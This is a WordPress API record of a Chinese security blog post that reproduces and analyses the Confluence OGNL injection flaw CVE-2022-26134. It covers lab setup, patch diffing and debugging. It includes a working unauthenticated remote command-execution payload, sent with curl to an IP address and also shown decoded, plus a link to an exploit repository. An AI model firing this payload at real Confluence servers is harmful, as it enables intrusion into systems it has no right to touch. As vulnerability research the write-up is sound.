{"id":7020,"date":"2023-08-12T11:14:26","date_gmt":"2023-08-12T03:14:26","guid":{"rendered":"https:\/\/i007.vip:15443\/wordpress\/?p=7020"},"modified":"2023-08-12T11:14:26","modified_gmt":"2023-08-12T03:14:26","slug":"confluence-ognl%e8%a1%a8%e8%be%be%e5%bc%8f%e6%b3%a8%e5%85%a5%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%e4%b8%8e%e5%88%86%e6%9e%90%ef%bc%88cve-2022-26134%ef%bc%89","status":"publish","type":"post","link":"https:\/\/i007.cc\/wordpress\/archives\/7020","title":{"rendered":"Confluence OGNL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u590d\u73b0\u4e0e\u5206\u6790\uff08CVE-2022-26134\uff09"},"content":{"rendered":"

cc from<\/a><\/p>\n

 <\/p>\n

\u5df2\u4e8e 2022-06-06 23:15:42 \u4fee\u6539<\/p>\n

2788
\n\u6536\u85cf 6
\n\u5206\u7c7b\u4e13\u680f\uff1a \u5b89\u5168\u7814\u7a76 \u6587\u7ae0\u6807\u7b7e\uff1a confluence CVE-2022-26134 OGNL\u8868\u8fbe\u5f0f\u6ce8\u5165 web\u5b89\u5168
\n\u7248\u6743<\/p>\n

\u5b89\u5168\u7814\u7a76
\n\u4e13\u680f\u6536\u5f55\u8be5\u5185\u5bb9
\n2 \u7bc7\u6587\u7ae00 \u8ba2\u9605
\n\u8ba2\u9605\u4e13\u680f
\n\u6587\u7ae0\u76ee\u5f55
\n0x01. \u6f0f\u6d1e\u6982\u8ff0
\n0x02. \u73af\u5883\u642d\u5efa
\n0x03. \u6f0f\u6d1e\u590d\u73b0
\n0x04. \u6f0f\u6d1e\u5206\u6790
\n0x05. EXP
\n0x01. \u6f0f\u6d1e\u6982\u8ff0
\n\u5728\u53d7\u5f71\u54cd\u7684 Confluence Server \u548c Data Center \u7248\u672c\u4e2d\uff0c\u5b58\u5728\u4e00\u4e2a OGNL \u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5141\u8bb8\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u5728 Confluence Server \u6216 Data Center \u5b9e\u4f8b\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n

\u5f71\u54cd\u8303\u56f4\uff1a<\/p>\n

Atlassian Confluence Server and Data Center < 7.4.17
\n7.5.0 \u2264 Atlassian Confluence Server and Data Center < 7.13.7
\n7.14.0 \u2264 Atlassian Confluence Server and Data Center < 7.14.3
\n7.15.0 \u2264 Atlassian Confluence Server and Data Center < 7.15.2
\n7.16.0 \u2264 Atlassian Confluence Server and Data Center < 7.16.4
\n7.17.0 \u2264 Atlassian Confluence Server and Data Center < 7.17.4
\n7.18.0 \u2264 Atlassian Confluence Server and Data Center < 7.18.1
\n0x02. \u73af\u5883\u642d\u5efa
\nUbuntu 18.04<\/p>\n

confluence\uff1a7.4.4<\/p>\n

wget https:\/\/downloads.atlassian.com\/software\/confluence\/downloads\/atlassian-confluence-7.4.4-x64.bin
\nchmod +x atlassian-confluence-7.4.4-x64.bin
\n.\/atlassian-confluence-7.4.4-x64.bin # \u9009\u62e9\u81ea\u5b9a\u4e49\u5b89\u88c5\uff0c\u5176\u4ed6\u9ed8\u8ba4\u5373\u53ef\uff08\u6b64\u5904\u4ee5root\u6743\u9650\u6267\u884c\u5b89\u88c5\uff0c\u666e\u901a\u7528\u6237\u6743\u9650\u5b89\u88c5\u7684\u8bdd\u9ed8\u8ba4\u5b89\u88c5\u76ee\u5f55\u4e0d\u4e00\u6837\uff09<\/p>\n

# \u5b89\u88c5mysql\u9a71\u52a8
\nwget https:\/\/cdn.mysql.com\/\/Downloads\/Connector-J\/mysql-connector-java_8.0.29-1ubuntu18.04_all.deb<\/p>\n

# \u89e3\u538b\u4e0a\u8ff0deb\u5305\uff0c\u5728\/usr\/share\/java\/\u76ee\u5f55\u4e0b\u53ef\u770b\u5230 mysql-connector-java-8.0.29.jar
\ndpkg -X mysql-connector-java_8.0.29-1ubuntu18.04_all.deb .<\/p>\n

mv mysql-connector-java-8.0.29.jar \/opt\/atlassian\/confluence\/confluence\/WEB-INF\/lib<\/p>\n

# \u91cd\u542fconfluence\uff08root\u6743\u9650\u6267\u884c\u5b89\u88c5\uff0c\u5728 \/init.d \u76ee\u5f55\u4e0b\u624d\u6709\u8fd9\u4e2a\u6587\u4ef6\uff09
\n\/etc\/init.d\/confluence restart<\/p>\n

# \u5b89\u88c5\u5e76\u8bbe\u7f6emysql
\nsudo apt update
\nsudo apt install mysql-server-5.7
\nmysql -u root
\nalter user ‘root’@’localhost’ identified with mysql_native_password by ‘\u4f60\u7684mysql\u5bc6\u7801’;
\ncreate database jiradb;
\nalter database jiradb character set utf8;
\nalter database jiradb default collate utf8_bin;
\nset global transaction isolation level Read committed;<\/p>\n

1
\n2
\n3
\n4
\n5
\n6
\n7
\n8
\n9
\n10
\n11
\n12
\n13
\n14
\n15
\n16
\n17
\n18
\n19
\n20
\n21
\n22
\n23
\n24
\n25
\n26
\n\u9ed8\u8ba4\u8fd0\u884c\u5728\u7aef\u53e3 8090\uff0c\u8bbf\u95ee http:\/\/ip:8090\/ \u5373\u53ef\u8fdb\u5165web\u5b89\u88c5\u6d41\u7a0b\u3002<\/p>\n

 <\/p>\n

PS\uff1a\u6700\u540e\u4e00\u6b65\u8bbe\u7f6e\u7cfb\u7edf\u7ba1\u7406\u5458\u5bc6\u7801\u7684\u65f6\u5019\u8bb0\u5f97\u5bc6\u7801\u5f3a\u5ea6\u8981\u6ee1\u8db3\u4e00\u5b9a\u7684\u8981\u6c42\uff0c\u8f93\u5165\u7b80\u5355\u7684\u5bc6\u7801\u70b9\u4e0b\u4e00\u6b65\u4f1a\u5bfc\u81f4\u5b89\u88c5\u62a5\u9519\uff08\u5927\u96fe.jpg\uff0c\u524d\u7aef\u52a0\u4e2a\u5bc6\u7801\u590d\u6742\u5ea6\u9a8c\u8bc1\u5f88\u9ebb\u70e6\u5417\uff1f\uff1f\uff1f\uff09\u3002<\/p>\n

\u82e5\u5b89\u88c5\u8fc7\u7a0b\u4e2d\u56e0\u67d0\u4e9b\u64cd\u4f5c\u5bfc\u81f4\u5931\u8d25\uff0c\u4e14\u627e\u4e0d\u5230\u5408\u9002\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u53ef\u4ee5\u8003\u8651\u5220\u9664\u4ee5\u4e0b\u76ee\u5f55\u91cd\u65b0\u542f\u52a8\u5b89\u88c5\u6d41\u7a0b\uff1a<\/p>\n

rm -rf \/opt\/atlassian\/ \/var\/atlassian\/
\n1
\n\u5b89\u88c5\u5b8c\u6210\u540e\u5982\u4e0b\uff1a<\/p>\n

 <\/p>\n

0x03. \u6f0f\u6d1e\u590d\u73b0
\n\u547d\u4ee4\u6267\u884cPOC\uff1a<\/p>\n

curl -vv http:\/\/1.13.169.238:8090\/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D\/
\n1<\/p>\n

0x04. \u6f0f\u6d1e\u5206\u6790
\n\u914d\u7f6eidea\u8fdc\u7a0b\u8c03\u8bd5\uff1a<\/p>\n

vim \/opt\/atlassian\/confluence\/bin\/setenv.sh<\/p>\n

# \u5728 export CATALINA_OPTS \u8fd9\u4e00\u884c\u4e0a\u9762\u52a0\u4e0a\u5982\u4e0b\u4e00\u884c\uff1a<\/p>\n

CATALINA_OPTS=”-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}”<\/p>\n

# \u91cd\u542fconfluence
\n\/etc\/init.d\/confluence restart
\n1
\n2
\n3
\n4
\n5
\n6
\n7
\n8
\nidea\u76f8\u5173\u914d\u7f6e\u5f88\u7b80\u5355\uff0c\u4e0d\u591a\u8bf4\u4e86\u3002<\/p>\n

\u8865\u4e01\u5206\u6790\uff1a<\/p>\n

\u7531\u5b98\u65b9\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848 https:\/\/confluence.atlassian.com\/doc\/confluence-security-advisory-2022-06-02-1130377146.html \u53ef\u77e5\uff1a\u6f0f\u6d1e\u89e6\u53d1\u70b9\u5e94\u8be5\u662f\u5728 xwork \u8fd9\u4e2ajar\u5305\u91cc\uff0c\u4e0b\u8f7d atlassian-confluence-7.18.0 \u548c atlassian-confluence-7.18.1\uff0c\u5bf9\u6bd4\u5176\u4e2d\u7684 xwork \u7ec4\u4ef6\uff0c\u53d1\u73b0\u4e3b\u8981\u505a\u4e86\u5982\u4e0b\u66f4\u6539\uff1a<\/p>\n

 <\/p>\n

\u6545idea\u4e2d\u5728 final OgnlValueStack stack = ActionContext.getContext().getValueStack(); \u8fd9\u4e00\u884c\u6253\u4e2a\u65ad\u70b9\uff0c\u6267\u884cpayload\u89e6\u53d1\u547d\u4ee4\u6267\u884c\uff0cidea\u6210\u529f\u65ad\u4e0b\uff0c\u5982\u4e0b\uff1a<\/p>\n

 <\/p>\n

\u770b\u4e86\u4e0b\u8c03\u7528\u6808\uff0c\u53d1\u73b0\u7ecf\u8fc7\u4e00\u7cfb\u5217\u7684filter\u540e\uff0c requestDispatcherPath \u53d8\u4e3a \/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u201cid\u201d).getInputStream(),\u201cutf-8\u201d)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\u201cX-Response\u201d,#a))}\/index.action<\/p>\n

 <\/p>\n

\u63a5\u4e0b\u6765\u7684\u8fc7\u7a0b\u6709\u70b9\u590d\u6742\u61d2\u5f97\u5199\u5206\u6790\u4e86\uff0c\u76f4\u63a5\u4e0a\u8c03\u8bd5\u622a\u56fe\uff1a<\/p>\n

ognl\u8868\u8fbe\u5f0f\u90e8\u5206\u89e3\u6790\u8c03\u7528\u8fc7\u7a0b\uff1a<\/p>\n

 <\/p>\n

\u83b7\u53d6\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff1a<\/p>\n

 <\/p>\n

0x05. EXP
\nhttps:\/\/github.com\/Brucetg\/CVE-2022-26134<\/p>\n","protected":false},"excerpt":{"rendered":"

cc from   \u5df2\u4e8e 20<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[24],"tags":[121],"class_list":["post-7020","post","type-post","status-publish","format-standard","hentry","category-value_docs","tag-05-"],"_links":{"self":[{"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/posts\/7020","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/comments?post=7020"}],"version-history":[{"count":0,"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/posts\/7020\/revisions"}],"wp:attachment":[{"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/media?parent=7020"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/categories?post=7020"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/i007.cc\/wordpress\/wp-json\/wp\/v2\/tags?post=7020"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}